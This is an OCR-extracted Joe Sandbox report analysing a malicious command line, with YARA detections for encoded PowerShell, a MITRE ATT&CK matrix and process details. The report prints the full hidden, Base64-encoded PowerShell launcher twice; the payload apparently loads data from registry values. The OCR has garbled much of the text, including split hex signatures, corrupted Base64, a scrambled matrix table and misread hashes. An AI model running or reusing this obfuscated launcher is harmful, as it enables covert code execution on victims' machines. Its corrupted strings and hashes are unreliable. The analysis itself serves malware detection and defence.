Base64 encoded
PowerShell code
that starts with a $
sign and a single
char variable

Detects suspicious
UTF16 and
Base64 encoded
PowerShell code
that starts with a $
sign and a single
char variable

Detects suspicious
UTF16 and
Base64 encoded
PowerShell code
that starts with a $
sign and a single
char variable

Detects suspicious
UTF16 and
Base64 encoded
PowerShell code
that starts with a $
sign and a single
char variable

Detects suspicious
UTF16 and
Base64 encoded
PowerShell code
that starts with a $
sign and a single
char variable

Author

Florian Roth

Florian Roth

Florian Roth

Florian Roth

Florian Roth

Strings

e o o o

.

0x25e2:$xcl: 4A 41 42 32 41 43 41 41 50 51 41 67 41
Ox267a:$xcl: 4A 41 42 32 41 43 41 41 50 51 41 67 41
0x1c52:$xc3: 4A 41 42 73 41 44 30 41
0Ox1dd2:$xc3: 4A 41 42 70 41 44 30 41

0x3d14:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 5000 51 00 41 00 67 00 41

0x3e44:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 5000 51 00 41 00 67 00 41

0x29f4:$xc4: 4A 00 41 00 42 00 73 00 41 00 44 00 30 00
41

Ox2cf4:$xc4: 4A 00 41 00 42 00 70 00 41 00 44 00 30 00
41

0x7b15:$xcl: 4A 41 42 32 41 43 41 41 50 51 41 67 41
Ox7bad:$xcl: 4A 41 42 32 41 43 41 41 50 51 41 67 41
Ox1a29c:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 0
0410050 005100410067 0041

Oxla3cc:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 0
04100500051 004100670041

0x7185:$xc3: 4A 41 42 73 41 44 30 41

0x7305:$xc3: 4A 41 42 70 41 44 30 41

0x18f7c:$xc4: 4A 00 41 00 42 00 73 00 41 00 44 00 30 0
041

0x1927c:$xc4: 4A 00 41 00 42 00 70 00 41 00 44 00 30 0
041

0x3eca:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 50 00 51 00 41 00 67 00 41

0x3ff4:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 50 00 51 00 41 00 67 00 41

0xB720:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 50 00 51 00 41 00 67 00 41

0x6850:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 50 00 51 00 41 00 67 00 41

Ox2bad:$xc4: 4A 00 41 00 42 00 73 00 41 00 44 00 30 00
M

Ox2ead:$xc4: 4A 00 41 00 42 00 70 00 41 00 44 00 30 00
0

0x5400:$xc4: 4A 00 41 00 42 00 73 00 41 00 44 00 30 00
0

0x5700:$xc4: 4A 00 41 00 42 00 70 00 41 00 44 00 30 00
i1

0x882d:$xcl: 4A 41 42 32 41 43 41 41 50 51 41 67 41
0x88c5:$xcl: 4A 41 42 32 41 43 41 41 50 51 41 67 41
0x3224:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 50 00 51 00 41 00 67 00 41

0x3354:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 50 00 51 00 41 00 67 00 41

0x5a80:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 50 00 51 00 41 00 67 00 41

0x5bb0:$xc2: 4A 00 41 00 42 00 32 00 41 00 43 00 41 00
4100 50 00 51 00 41 00 67 00 41

0x7e9d:$xc3: 4A 41 42 73 41 44 30 41

0x801d:$xc3: 4A 41 42 70 41 44 30 41

0x1f04:$xc4: 4A 00 41 00 42 00 73 00 41 00 44 00 30 00
41

0x2204:$xc4: 4A 00 41 00 42 00 70 00 41 00 44 00 30 00
41

0x4760:$xc4: 4A 00 41 00 42 00 73 00 41 00 44 00 30 00
41

0x4a60:$xc4: 4A 00 41 00 42 00 70 00 41 00 44 00 30 00
41
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Source Rule Description Author Strings

Click to see the 4 entries

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

System Summary

Very long command line found

Data Obfuscation

Suspicious powershell command line found

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Mitre Att&ck Matrix
Initial . . Privilege Defense Credential . Lateral . . . Command Network Rem.ote
Execution Persistence g . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
Valid Path 0s Remote Datafrom  Exfiltration Data Eavesdrop Remotely  Modify
Accounts Command Interceptio  Access Virtualizatio Credential  Security Services Local Over Other Obfuscatio on Insecure Track System
and n Token n/Sandbox  Dumping Software System Network n Network Device Partition
Scripting Manipulatio Evasion Discovery Medium Communic  Without
Interpreter n ation Authorizati
on
Default Boot or LSASS Remote  Datafrom  Exfiltration Junk Data  Exploit SS7 Remotely  Device
Accounts PowerShell  Logon Process Access Memory Process Desktop Removable Over to Redirect Wipe Data  Lockout
Initializatio  Injection Token Discovery  Protocol Media Bluetooth Phone Without
n Scripts Manipulatio Calls/SMS  Authorizati
n on
Domain At (Linux) Logon Logon Security SMB/Wind Data from  Automated Steganogra Exploit SS7 Obtain Delete
Accounts Script Script Process Account Virtualizatio ows Admin  Network Exfiltration  phy to Track Device Device
(Windows)  (Windows) Injection Manager n/Sandbox = Shares Shared Device Cloud Data
Evasion Drive Location Backups
Local At Logon Logon NTDS Distributed  Input Scheduled  Protocol SIM Card Carrier
Accounts (Windows)  Script Script Deobfuscat File and Component Capture Transfer Impersonati  Swap Billing
(Mac) (Mac) e/Decode Directory Object on Fraud
Files or Discovery  Model
Information
Cloud Cron Network Network Software LSA SSH Keylogging Data Fallback Manipulate Manipulate
Accounts Logon Logon Packing Secrets System Transfer Channels Device App Store
Script Script Information Size Limits Communic Rankings
Discovery ation or Ratings
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Behavior Graph

Hide Legend
Behavior Graph Legend
[] process
C 3 i ibs
Startdate: 23/06/2022 . Signature
Architecture:  WINDOWS . Created File
Score: 52
. DNS/IP Info
ﬂ Is Dropped
- warted a Is Windows Process

*

Number of created Registry Values

TLI
s
"en

Number of created Files

5 B

cmd.exe e e Visual Basic
ERZIC
i Delphi
G Java

.Net C# or VB.NET
C, C++ or other language

Is malicious

- - - e

cmd.exe %

c]

- - - e

5 powershell.exe H

0@ 2 ]

Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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§/mm2 | |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

@ No Antivirus matches

Dropped Files

©@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

@ No Antivirus matches
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Domains and IPs

Contacted Domains

@ No contacted domains info

World Map of Contacted IPs

@ No contacted IP infos

General Information
Joe Sandbox Version: 35.0.0 Citrine
Analysis ID: 651250
Start date and time: 23/06/202217:40:55 2022-06-23 17:40:55 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: 0Oh 3m 32s
Hypervisor based Inspection enabled: false
Report type: light
Cookbook file name: defaultwindowscmdlinecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 5
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal52.evad.win@5/2@0/0
EGA Information: e Successful, ratio: 100%
HDC Information: Failed

HCA Information:

.

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

.

.

Cookbook Comments:

.

Adjust boot time
Enable AMSI

.

Warnings

e Exclude process from analysis (whitelisted): conhost.exe, svchost.exe
e Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time Type Description

17:42:11 API Interceptor 5x Sleep call for process: powershell.exe modified
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Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TVQUNHROLNB9QC60SD3M.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5809258572265112

Encrypted: false

SSDEEP: 96:chQCyhMagbqvsqvJCwoBz8hQCyhMabqvsEHyqvJCwor/zhkKr+HykIX0IUVLVn:cGGoBz8GeHnor/zhFPKIXLVn

MD5: 5A8A6BA31F781C9190DAC02A6B2D2F2F

SHA1L: 62614A67C47E9335DF47D1940EEDF4575799BA10

SHA-256: EB7AB35986BABF60EB66CFICF66D0BI3FBI2C370B5EB291733EDABDACEADOAS3

SHA-512: 34A83CC1A9A34CCADFAOC488EC3FA775D60286BB7C3EDC3C47EF4C8F0156355AA2712ECCBID20D2CE41DBF98E8C1837D6DEF210BE13B316543574657E7BB!
208

Malicious: false

Reputation: low

Preview:

1. xJu=., ACCESS~1..l......wWwJr.*............ ..B....,Ac.cess.ories..@.s.hell32.dll,.-2176.1..
IO B NS UUIU W.i.n.d.ow.s. .P.ow.e.r.S.he.ll...v.2k..., WINDOW~2.LNK..Z.........,. .. .S W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5809258572265112

Encrypted: false

SSDEEP: 96:chQCyhMgbqgvsgqvJCwoBz8hQCyhMgbqvsEHyqvJCwor/zhkKr+HykIX0IUVLVN:cGGoBz8GeHnor/zhFPKIXLVn

MD5: 5A8A6BA31F781C9190DAC02A6B2D2F2F

SHAL: 62614A67C47E9335DF47D1940EEDF4575799BA10

SHA-256: EB7AB35986BABF60EB66CFICF66D0B93FB92C370B5EB291733EDASDAC6ADOAS3

SHA-512: 34A83CC1A9A34CCADFAOC488EC3FA775D60286BB7C3EDC3C47EF4C8F0156355AA2712ECCBID20D2CE41DBF98E8C1837D6DEF210BE13B316543574657E7BB!
208

Malicious: false
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Reputation: low

Preview: ...k ....8.D..xq{D...xg.{D...k...
....P.rogrampD.ata. Jlv. MICROS~1..@.. ~J|vE
((..STARTM~1..j .@....Start. .M.e.n.u..@.s.h.ell3.2..d.ll,.-21.7.8.6
@.s.h.elll3.2..d.LL, wJr.
JE T ., .WINDOW~2.LNK..Z......
Static File Info

@ No static file info

Network Behavior

@ No network behavior found

Statistics

Behavior

@ cmd.exe
® cmd.exe
@ powershell.exe

@

System Behavior

Click to jump to process

Analysis Process: cmd.exe PID: 2372, Parent PID: 1732

General

Target ID: 0

Start time: 17:42:08

Start date: 23/06/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Copyright Joe Security LLC 2022

.Pro.grams..
".WINDOW~1..R..

S.@.s.hell3.2..dlL,.

B....A.c.c.e.s.s.0.r.
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Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

cmd /C "cmd.exe /c powershell -WindowStyle Hidden -E "CgAKAA0AJABOAGUAeABOAEEAcwWBjADOAWWBTAHKACWBOAGUABQAUAFQAZQB4AHQAL
gBFAG4AYWBVAGQAaQBUAGCAXQABADOAQQBTAEMASQBJIADSACJAKAACAJABGAHAAPQAKAGAAdQBSAGWAOWAKAAOAZGBIAGAAYWBOA
GkAbwBUACAAZWBIAHQAdABIAHIARgB1AG4AYWAOAFSACWBOAHIAAQBUAGCAXQAKAGIAdABZADIAKQAgAHSACJAJACQAYgBOAHMAPQBbAFMAeQB
ZAHQAZQBtAC4AQWBVAG4AdgBIAHIAdABJADOAOgBGAHIAbWBIAEIAY QBZAGUANgAOAFMAJABYAGKAbgBNACYAJABIAHQACWAYACKAOWAKAACAC
QAKAHMAJAAIACQAJABIAHgAdABBAHMAYWAUAECAZQBOAEIAeQBOAGUACWAOACCARWBIAHQALQBJAHQAZQBIAFAACgBVAHAAZQBYA
HQAeQBWAGEAbAB1AGUAJWAPADSACYAJACQAZQBKADOAJABIAHQACWBDADAALGAUADQAXQA7AACOACIAIJACQAaAQAIADAAOWAKAAKA]
ABSADOAJABIAGQALgBMAGUAbgBNnAHQAaAA7AA0ACQAKAGSAPQBAACYAKQA7AAOACIAJAFSAY QBYAHIAY QBSAFOAOJAGAFIAZQBzAGKAegBIACY
AWWBYAGUAZgBAACQAawASACQACWBOAC4AbABIAGAAZWBOAGGAKQA7AACACQBMAGBACYBIAGEAYWBOACYAJABIACAAaQBUACAAJAB
ZAHQAKQAgAHSAJABIAFSAJABpACSAKWBAADOAJABIACAALQBIAHgAbwBYACAAJABIAGQAWWAKAGKAIQAKAGWAXQBIAACACIAIJACQAYgBZADOAJ
ABIAHQACWBbADUALgAUACQAYgBOAHMALgBSAGUAbgBnAHQAaABdADSACYAKAAKAIJABPADOAMAA7AACACQAKAGWAPQAKAGSALGBMA
GUAbgBnAHQAaAA7AA0ACQAKAGQAJAAIAEAAKAAPADSACGAKAAKAWWBHAHIACgBhAHKAXQABADOAUYBIAHMAaQBBAGUAKABDAHIAZQBMAFOAJAB
KAHQALAAKAGIACWAUAGWAZQBUAGCAJABOACKAOWAKAAKAZGBVAHIAZQBhAGMAaAAOACQAY gAgAGKAbgAgACQAYgBzACKAIAB7TACQAZABOAFSAJ
ABpPACsAKWBAADOAJABIACAALQBIAHgAbwBYACAAJABrAFSAJABpACUAJABSAFOAFQAKAACACQBYAGUAABLAHIAbgAgACQAdABIAHgAJABBAHM
AYWAUAECAZQBOAFMAdABYAGKAbgBNACgAJABKAHQAKQAGAHWAIABDAG8AbgB2AGUACYBOAEYAcgBVAGOALQBKAHMAbWBUADSACYBIAAOACJAKA
CQAdgAgADOAIAAIADAAIGATAAOAIABSAHYAIAAIACAAIGAAACIAOWAKACQAZAAGADOAIAAIAGOACABSAGBAeQBIAGUACWBPAGgAaQBNAGgALgB
4AHKAegAIADSACgAKAGUACAAGADOAIAAIAFCAeQBIJADQATQBEAEKAegBNAHOAVQAZAESBARABZADMATQBUAEEAegBPAFQAZWB4AEOARABVAGKAT
ABEAEUAMgBOAEQAawAzAE4ARABJADMATQBUAFIAZAAIADSACJAKACQAZWBWAE4AY QBtAGUAIAAIACAAIGBIAESAQWBVADOAXABTAGBAZgBOAHC
AYQBYAGUAXABCAGKAbgBhAHIAeQBGAG8ACgBOAHIAZQBzAHMAUWBVAGYAdAB3AGEACgBIAFWAIgA7AA0ACYBOAHIAe QAgAHSACJAJACQAagBWA
DOAJABOAGUAeABOAEEACWBJAC4ARWBIAHQAUWBOAHIAaQBUAGCAKABDAFMAeQBzAHQAZQBtAC4AQWBVAG4AdgBIAHIAJABAADOAOgBGAHIAbwB
tAEIAYQBzAGUANgAOAFMAJABYAGKAbgBNACgAJABIAHAAKQAPACAAFAAGAEMAbWBUAHYAZQBYAHQARGBYAGBADQAtAEOACWBVAGAAOWAKAHOAI
ABJAGEAdABJAGgAeWwB9AAOACYAKAGOAZAAGADOAIAAKAGAAdQBSAGWAOWAKAAOACYAKAGEAIAAIACAAIABOAGUAEABOAEEACWBJADSACJAKACQ
AcgBrAGUAeQBOACAAPQAJACIARABPAHMACABSAGEAeQAgAEYAdQBzAGKAbWBUACIAOWAKACQAdQAIACQAagBWAFSAMABAADSACGA
KAGKACWA9ACQAagBWAFSAMQBAADSACgAKAHCAaABPAGWAZQAOACQAJABYAHUAZQAPACAAeWwAKAAKAJABYAHKAIAB7AAOACQAJAHQACYBSACAAE
WAKAAKACQAJAGKAZGAgACJAIQAOAFQAZQBZzAHQALQBQAGEAJABOACAAIJABNAHAATYBhAGOAZQAPACKAIAB7AAOACQAJAAKACQBOAGUAdWALAEK
AdABIAGOAIAAtAFAAY QBOAGGAIAAKAGCACABOAGEADQBIACAAFAAGAEBAdQBOACOATgBLIAGWADAA7TAACACQAIAAKATQAKAAKACQBIAGMAYQBOA
GMAaAB7AHOACgAKAAKACQAKAGUAeAAgADOAIAAKAGYAY QBSAHMAZQA7AA0ACYAIAAKAaQBMACAAKAAKAGOAZAAGACOAZQBXACAAI
ABUAHUAbABSACKAIAB7AA0ACQAJAAKAJABYAHKAIAB7AAOACQAJAAKACQAKAHIAIAA9ACAARWBIAHQALQBJIAHQAZQBIAFAACBVAHAAZQBYAHQ
AeQBWAGEAbAB1AGUAIAAtAFAAY QBOAGUAIAAKAGCACABOAGEADQBIACAALQBOAGEADQBIACAAJABYAGSAZQBSAE4AOWAKAAKACQAJAAKAJABIA
GQAIAA9ACAAZWBIAHQAJABIAHIARgB1AGAAYWAOACQACIAPADSACJAKAAKACQAIAAKAIAB2ACAAPQAJACQAagBKAFSAMABIADSACGAKAAKACQA
JAAKAJABIAHGAIAAIACAAIABOAHIAIQBIADSACJAJAAKACQBIAGMAYQBOAGMAaAB7AHOACYAIAAKATQAGAGUADABZAGUAIAB7AAOACQAJAAKAI
AB2ACAAPQAJACQAagBKAFSAMABAADSACAJAAKATQAKAACACQAJAHQACGBSACAAeWAKAAKACQAJACQAZABOACAAPQAGAHCAZWBIAHQAIAAIAGY
AdABOAHAACWABACBALWAKAGQALWBAADBAdQAIACQAIQAMAGKACWAIACQAaQBzACYAbAB2ADOAIABSAHYAJgBYAHYAPQAKAHYAIGAGACOAVQBZA
GUAQgBhAHMAaQBJAFAAY QBYAHMAaQBUAGCAOWAKAAOACQAJAAKAJABGAGQAMYAGADOAIABNAGUAJABOAGUACgBGAHUADbGBJACGAJ
ABKAHQAKQA7AA0ACQAJAAKAaQBMACAAKAAKAGOAZAAYAFSAMABAACAALQBNAHQAIAAKAHYAKQAGAHSACGAJAAKACQAJACQAdgAYA
CAAPQAgACQAagBKADIAWWAWAFOAOWAKAACACQAJAAKACQBOAGUAIWALAEKAJABIAGOAUABYAGBACABIAHIAJABSACAALQBQAGEAJABOACAAIAB
NAHAATgBhAGOAZQAJACOATYBhAGOAZQAJACQACYBrAGUAeQBOACAALQBWAGEADABLIAGUAIAAKAGQAJAAGACOAUABYAGBACABIAHIAJABSAFQAe
QBWAGUAIAAIAFMAJABYAGKAbgBNACIAIAAtAEY AbwByAGMAZQAgAHWAIABPAHUAJAALAE4AdQBSAGWAOWAKAAKACQAJAAKAIABJAGQAIAASACA
AJABJAGQAMgA7AA0ACAJAAKACQAKAGUAeAAGADOAIAAKAHQACIBIAGUAOWAKAAKACQAIJAHOACYAIAAKATQBJAGEAJABJAGgAeWBIAAOACIAIAA
kAaQBMACAAKAAKAGUAeAAgACOAZQBXACAAJABOAHIAAQBIACKAIAB7AACACQAIAAKAIABYAHKAeWAKAAKACQAJAAKACWBOAGBACAATAAOACQAT
AAKATQBJAGEAJABJAGgAeWwBIAAOACJAIJAAKACQBOAHIAeQAgAHSACIAIJAAKACQAIJAGKAZQBAACAAIABIAGQAWWAXAFOAOWAKAAKACQAJAHOAYW
BhAHQAYWBOAHSAfQAKAAKACQBIAAOACQBIACAAYWBhAHQAYWBOAHSAFQAKAAOACQBOAHIAeQAGAHSACJAJAAKAIABZAGWACWAGADOAIAAOACIA
ZWBIAHQALQBYAGEAbgBKAG8AbQAGADCAMAAGACOADQBPAGAAaQBtAHUADQAgADUAMAAPACOANgAWACKAOWAKAAKACQAKAHQACWAY
ADOAIABbAGKAbgBOAFOAKABHAGUAJAAIAEQAY QBOAGUAIAAtAFUARGBVAHIAbQBhAHQAIAAIAHMAKQA7AA0ACYAIAAKAOGBZAGWAIAB3AGgAaQ
BSAGUAKAAKAHQACgB1AGUAKQAgAHSACYAJAAKACQBOAHIAeQB7AA0ACQAJAAKACQBYAHUABgAOACQAZAASACQAdQASACQAaQBZAC
kAOWAKAAKACQAJAHOAYWBhAHQAYWBOAHSAfQAKAAOACQAJAAKAUWBOAGEACGBOACOAUWBSAGUAZQBWACAAKABNAGUAJAATAHIAYQ
BUAGQAbwBtACAANGALIACAALQBIAGKAbgBpAGOAdQBtACAAMgALACKAOWAKAAKACQAJACQAdABZADIAIAA9ACAAWWBPAGAAdABJACJARWBIAHQA
LQBEAGEAJABIACAALQBVAEYAbwBYAGOAYQBOACAAIQBZACKAOWAKAAOACQAJAAKAaQBMACAAKAAOACQAJABZADIALQAKAHQACWAP
ACAALQBNAHQAIAAKAHMAbABZACKAIAB7AA0ACQAJAAKACQBIAHIAZQBhAGSAIABZAGWAOWAKAAKACQAJAHOACGAIAAKATQAKAAKATQAGAGMAYQ
BOAGMAaAB7AHOACgBIAA==""

0x4a400000

302592 bytes
AD7B9C14083B52BC532FBA5948342B98
true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Offset Length Completion Count Source Address Symbol

Analysis Process: cmd.exe PID: 1436, Parent PID: 2372

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Copyright Joe Security LLC 2022

2

17:42:09

23/06/2022
C:\Windows\SysWOW64\cmd.exe

true

Page 12 of 15



Commandline: cmd.exe /c powershell -WindowStyle Hidden -E "CgAKAA0AJABOAGUAeABOAEEAcwWBjADOAWWBTAHKACWBOAGUABQAUAFQAZQB4AHQALGBFAGAA
YwBVAGQAaQBUAGCAXQABADOAQQBTAEMASQBJIADSACJAKAAOAIABJAHAAPQAKAGAAdQBSAGWAOWAKAAOAZYBLAGAAYWBOAGKAbwBU
ACAAZWBIAHQAJABIAHIARgB1AG4AYWAOAFSACWBOAHIAaQBUAGCAXQAKAGIAdABZADIAKQAgAHSACJAJACQAYgBOAHMAPQBbAFMAeQBZzAHQAZQ
BtAC4AQWBVAG4AdgBIAHIAJABAADOAOgBGAHIAbWBAEIAY QBzZAGUANgAOAFMAJABYAGKAbgBNACgAJABIAHQACWAYACKAOWAKAAOACQAKAHMA
dAA9IACQAJABIAHGAdABBAHMAYWAUAECAZQBOAEIAeQBOAGUACWAOACCARWBIAHQALQBJIAHQAZQBIAFAACgBVAHAAZQBYAHQAeQBW
AGEAbAB1AGUAJWAPADSACJAJACQAZQBKADOAJABIAHQACWBbADAALJAUADQAXQA7AACACJIAJACQAaQAIADAAOWAKAAKAIABSADOAIABIAGQALY
BMAGUAbgBnAHQAaAA7AA0ACQAKAGSAPQBAACYAKQA7AAOACYAIAFSAYQBYAHIAY QBSAFOAOgABAFIAZQBzAGKAegBIACgAWWBYAGUAZGBAACQA
awAsACQACWBOAC4ADABIAGAAZWBOAGYAKQA7AAOACQBMAGBACYBIAGEAYWBOACYAJABIACAAaQBUACAAIABZAHQAKQAGAHSAJABIAFSAJABPAC
SAKWBAADOAJABIACAALQBIAHgAbwBYACAAJABIAG QAWWAKAGKAIQAKAGWAXQBIAACACIAIJACQAY gBzADOAJABIAHQACWBDADUALJAUACQAYQBO
AHMALgBSAGUAbgBnAHQAaABdADSACgAKAAKAJABPADOAMAA7AACACQAKAGWAPQAKAGSALGBMAGUAbgBNAHQAaAA7TAAOACQAKAGQA
dAA9IAEAAKAAPADSACJAKAAKAWWBhAHIACgBhAHKAXQABADOAUGBIAHMAaQB6AGUAKABDAHIAZQBMAFOAJABKAHQALAAKAGIACWAUAGWAZQBUAG
CcAdABOACKAOWAKAAKAZGBVAHIAZQBhAGMAaAAOACQAYgAgAGKAbgAgGACQAYgBzACKAIAB7TACQAZABOAFSAJABPACSAKWBAADOAJABIACAALQBI
AHgAbwBYACAAJABrAFSAJABpACUAJABSAFOAFQAKAAOACQBYAGUAdAB1AHIAbgAgACQAdABIAHgGAJABBAHMAYWAUAECAZQBOAFMAJABYAGKAbg
BnACgAJABKAHQAKQAGAHWAIABDAG8AbgB2AGUACYBOAEYAcgBVAGOALQBKAHMAbWBUADSACGBIAAOACIAKACQAdgAGADOAIAAIADAAIGA7AACA
JABsSAHYAIAA9ACAAIgAAACIAOWAKACQAZAAGADOAIAAIAGOACABSAGBAeQBIAGUACWBPAGgAaQBNAGYALgB4AHKAegAIADSACJAKAGUACAAGAD
OAIAAIAFCcAeQBJADQATQBEAEKAegBNAHOAVQAZAEBARABZADMATQBUAEEAegBPAFQAZWBAAEOARABVAGKATABEAEUAMgBOAEQAawAZAE4ARAB]
ADMATQBUAFIAZAAIADSACJAKACQAZWBWAE4AY QBtAGUAIAA9ACAAIgBIAESAQWBVADOAXABTAGBAZgBOAHCAY QBYAGUAXABCAGKAbgBhAHIAEQ
BGAG8ACgBOAHIAZQBzAHMAUWBVAGYAJAB3AGEACcgBIAFWAIgA7AA0ACYBOAHIAeQAgAHSACYAIJACQAagBWADOAJABOAGUAEABOAEEACWBJACAA
RwWBIAHQAUWBOAHIAaQBUAGCAKABDAFMAeQBzAHQAZQBIAC4AQWBVAGAAdgBIAHIAdABAADOAOgBGAHIABWBAEIAY QBzZAGUANgAOAFMAdABYAG
kAbgBnACgAJABIAHAAKQAPACAATAAGAEMAbWBUAHYAZQBYAHQARGBYAG8ABQAtAE0ACWBVAGAAOWAKAHOAIABJAGEAdABJAGgAeWBIAAOACGAK
AGO0AZAAJADOAIAAKAGAAdQBSAGWAOWAKAAOACIAKAGEAIAAIACAAIABOAGUAeABOAEEACWBJADSACYJAKACQACYBrAGUAeQBOACAAPQAGACIARA
BpAHMACABSAGEAeQAJAEYAdQBzAGKAbWBUACIAOWAKACQAJQAIACQAagBWAFSAMABIADSACGAKAGKACWAIACQAagBWAFSAMQBIAD
SACgAKAHCAaABpAGWAZQAOACQAJABYAHUAZQAPACAAeWwAKAAKAJABYAHKAIAB7AAOACQAJAHQACYB5ACAAeWAKAAKACQAIJAGKAZGAGACIAIQAD
AFQAZQBzAHQALQBQAGEAJABOACAAJABNAHAATGBhAGOAZQAPACKAIAB7AA0ACQAJAAKACQBOAGUAAWAIAEKAJABIAGOAIAAIAFAAY QBOAGIAIA
AKAGCACABOAGEADQBIACAATAAGAEBAdQBOACOATYBIAGWADAA7TAACACQAJAAKATQAKAAKACQBIAGMAY QBOAGMAaAB7AHOACIAKAA
KACQAKAGUAeAAgADOAIAAKAGYAY QBSAHMAZQA7AA0ACJAJAAKAaQBMACAAKAAKAGOAZAAGACOAZQBXACAAJABUAHUADABSACKAIAB7AACACQAJ
AAKAJABYAHKAIAB7AA0ACQAJAAKACQAKAHIAIAAIACAARWBIAHQALQBIAHQAZQBAFAACgBVAHAAZQBYAHQAeQBWAGEADABIAGUAIAAtAFAAYQ
BOAGQAIAAKAGCACABOAGEADQBIACAALQBOAGEADQBIACAAIJABYAGSAZQB5AE4AOWAKAAKACQAJAAKAIABJAGQAIAAIACAAZWBIAHQAIABIAHIA
RgB1AG4AYWAOACQACYAPADSACGAKAAKACQAJAAKAJAB2ACAAPQAJACQAagBKAFSAMABAADSACYAKAAKACQAJAAKAJABIAHGAIAAIACAAIABOAH
IAdQBIADSACgAJAAKACQBIAGMAYQBOAGMAaAB7AHOACYAIAAKATQAGAGUABABZAGUAIAB7AA0ACQAJAAKAJAB2ACAAPQAJACQAagBKAFSAMAB
ADSACgAJAAKATQAKAAOACQAJAHQACYBSACAAeWAKAAKACQAJACQAZABOACAAPQAGAHCAZWBIAHQAIAAIAGGAdABOAHAACWABACBALWAKAGQALW
B4ADBAdQAIACQAIQAMAGKACWAIACQAaQBzACYADAB2ADOAJABSAHYAJgBYAHYAPQAKAHYAIgAgACOAVQBzAGUAQYBhAHMAAQB]AF
AAYQBYAHMAaQBUAGCAOWAKAAOACQAIJAAKAIABIAGQAMIAGADOAIABNAGUAJABOAGUACYBGAHUADgBJACGAJABKAHQAKQA7AAOACQ
AJAAKAaQBMACAAKAAKAGOAZAAYAFSAMABAACAALQBNAHQAIAAKAHYAKQAGAHSACJAJAAKACQAJACQAdgAYACAAPQAJACQAagBKADIAWWAWAFOA
OWAKAAOACQAJAAKACQBOAGUAIWALAEKAJABIAGOAUABYAGBACABIAHIAJABSACAALQBQAGEAJABOACAAIJABNAHAATGBhAGOAZQAGACOATYBhAG
0AZQAgACQACYBrAGUAeQBOACAALQBWAGEAbABIAGUAIAAKAGQAJAAGACOAUABYAGBACABIAHIAJABSAFQAeQBWAGUAIAAIAFMAJABYAGKAbgBN
ACIAIAAtAEY AbwByAGMAZQAgAHWAIABPAHUAJAALAE4AdQBSAGWAOWAKAAKACQAJAAKAIABJAGQAIAASACAAIJABGAGQAMGA7AAOACAIAAKACQA
KAGUAeAAgADOAIAAKAHQACgB1IAGUAOWAKAAKACQAJAHOACYAJAAKATQBJAGEAJABJAGgAeWBIAAOACIAIAAKAAQBMACAAKAAKAGUAEAAGACOAZ
QBXACAAJABOAHIAJQBIACKAIAB7AACACQAJAAKAIABYAHKAEWAKAAKACQAJAAKACWBOAGBACAA7TAAOACQAIAAKATQBJAGEAJABJAGgAeWBIAAD
ACgAJAAKACQBOAHIAeQAgAHSACYAIJAAKACQAIJAGKAZQBAACAAIABJAGQAWWAXAFOAOWAKAAKACQAJAHOAYWBhAHQAYWBOAHSAfQA
KAAKACQBI9AAOACQBIACAAYWBhAHQAYWBOAHSAFQAKAAOACQBOAHIAeQAgAHSACGAJAAKAIABZAGWACWAJADOAIAAOACYAZWBIAHQALQBYAGEAD
gBKAG8AbQAgADCAMAAGACOAbQBPAGAAaQBtAHUADQAgJADUAMAAPACOANgAWACKAOWAKAAKACQAKAHQACWAJADOAIABBAGKAbgBOA
FOAKABHAGUAJAAtAEQAY QBOAGUAIAAtAFUARGBVAHIADQBhAHQAIAAIAHMAK QA7AA0ACJAJAAKAOgBZAGWAIAB3AGgAaQBSAGUAKAAKAHQACYB
1AGUAKQAgAHSACgAJAAKACQBOAHIAeQB7AA0ACQAJAAKACQBYAHUAbgAOACQAZAASACQAIQASACQAaQBzACKAOWAKAAKACQAJAHO
